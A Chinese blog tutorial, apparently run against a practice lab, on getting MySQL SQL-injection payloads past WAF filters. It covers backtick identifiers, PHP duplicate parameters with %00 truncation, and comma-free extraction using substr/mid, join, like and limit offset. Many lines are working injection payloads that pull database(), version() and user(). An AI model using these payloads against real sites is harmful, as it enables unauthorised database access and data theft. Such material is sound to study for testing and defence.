当前位置:网站首页>SQL 注入绕过(二)
SQL 注入绕过(二)
2022-06-28 00:17:00 【Aτθ】
一、反引号绕过
在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

二、脚本语言特性绕过
1、介绍
在 php 语言中,id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 会去匹配第一个 id 参数1%00, %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中,id 就等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性

2、实操1


3、实操2
?name=vince%00&name=' union select 1,database()--+&submit=1

三、逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号。
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空,select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以,可以不使用逗号进行 SQL 注入。
绕过方法如下:
1、第一种方式:substr 截取字符串
查询当前库第一个字符:
select(substr(database() from 1 for 1));
查询 p 等于 select(substr(database() from 1 for 1)),页面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D,这样就避免了单引号。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、第二种方式:mid 截取字符串
这个 min 函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、第三种方式: 使用 join 绕过
使用 join 自连接两个表:
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b,其中a 和 b 分别是表的别名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
这里也没有使用逗号,从而绕过 waf 对逗号的拦截。

4、第四种方式:like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1,否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串,最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

5、第五种方式:limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目,limit 0,1 返回条一条记录。如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截。

边栏推荐
- [sylixos] I2C device driver creation and use
- 205. isomorphic string
- Capacitor
- [Yocto RM]1 - System Requirements
- Numpy----np.reshape()
- Capacitor
- 声网 VQA:将实时互动中未知的视频画质用户主观体验变可知
- Take n multiple table names of a database as the values of a column in another table (the range can be a table in another database)
- To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
- Numpy----np. reshape()
猜你喜欢

TIA botu_ Concrete method of making analog input and output Global Library Based on SCL language

声网 VQA:将实时互动中未知的视频画质用户主观体验变可知

Adobe Premiere基础-声音调整(音量矫正,降噪,电话音,音高换挡器,参数均衡器)(十八)

【永艺XY椅】试用体验

1382. balancing binary search tree - General method

利用redis bitmap实现人员在线情况监控

类的初始化与回调的用法

面试官问:能否模拟实现JS的new操作符

Cesium 多边形(polygon)extrudedHeight 和 height 的区别

Cesium obtains the latitude and longitude range of the screen
随机推荐
一张图弄懂 MIT,BSD,Apache几种开源协议之间的区别
Adobe Premiere foundation - sound adjustment (volume correction, noise reduction, telephone tone, pitch shifter, parameter equalizer) (XVIII)
Intranet penetration with FRP
Using redis bitmap to realize personnel online monitoring
Evaluation - grey correlation analysis
geojson 格式说明(格式详解)
OS module and os Learning of path module
[Yocto RM]9 - QA Error and Warning Messages
MySQL十种锁,一篇文章带你全解析
Where can I open an account for foreign exchange futures? Which platform is safer for cash in and out?
评价——灰色关联分析
[Yocto RM]1 - System Requirements
Jenkins - accédez à la variable de paramètre personnalisée Jenkins, en traitant les espaces dans la valeur de la variable
To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
1382. 将二叉搜索树变平衡-常规方法
Jenkins - Pipeline 语法
【嵌入式基础】串口通信
Jenkins - 邮件通知 Email Notification 插件
Numpy----np.reshape()
Capacitor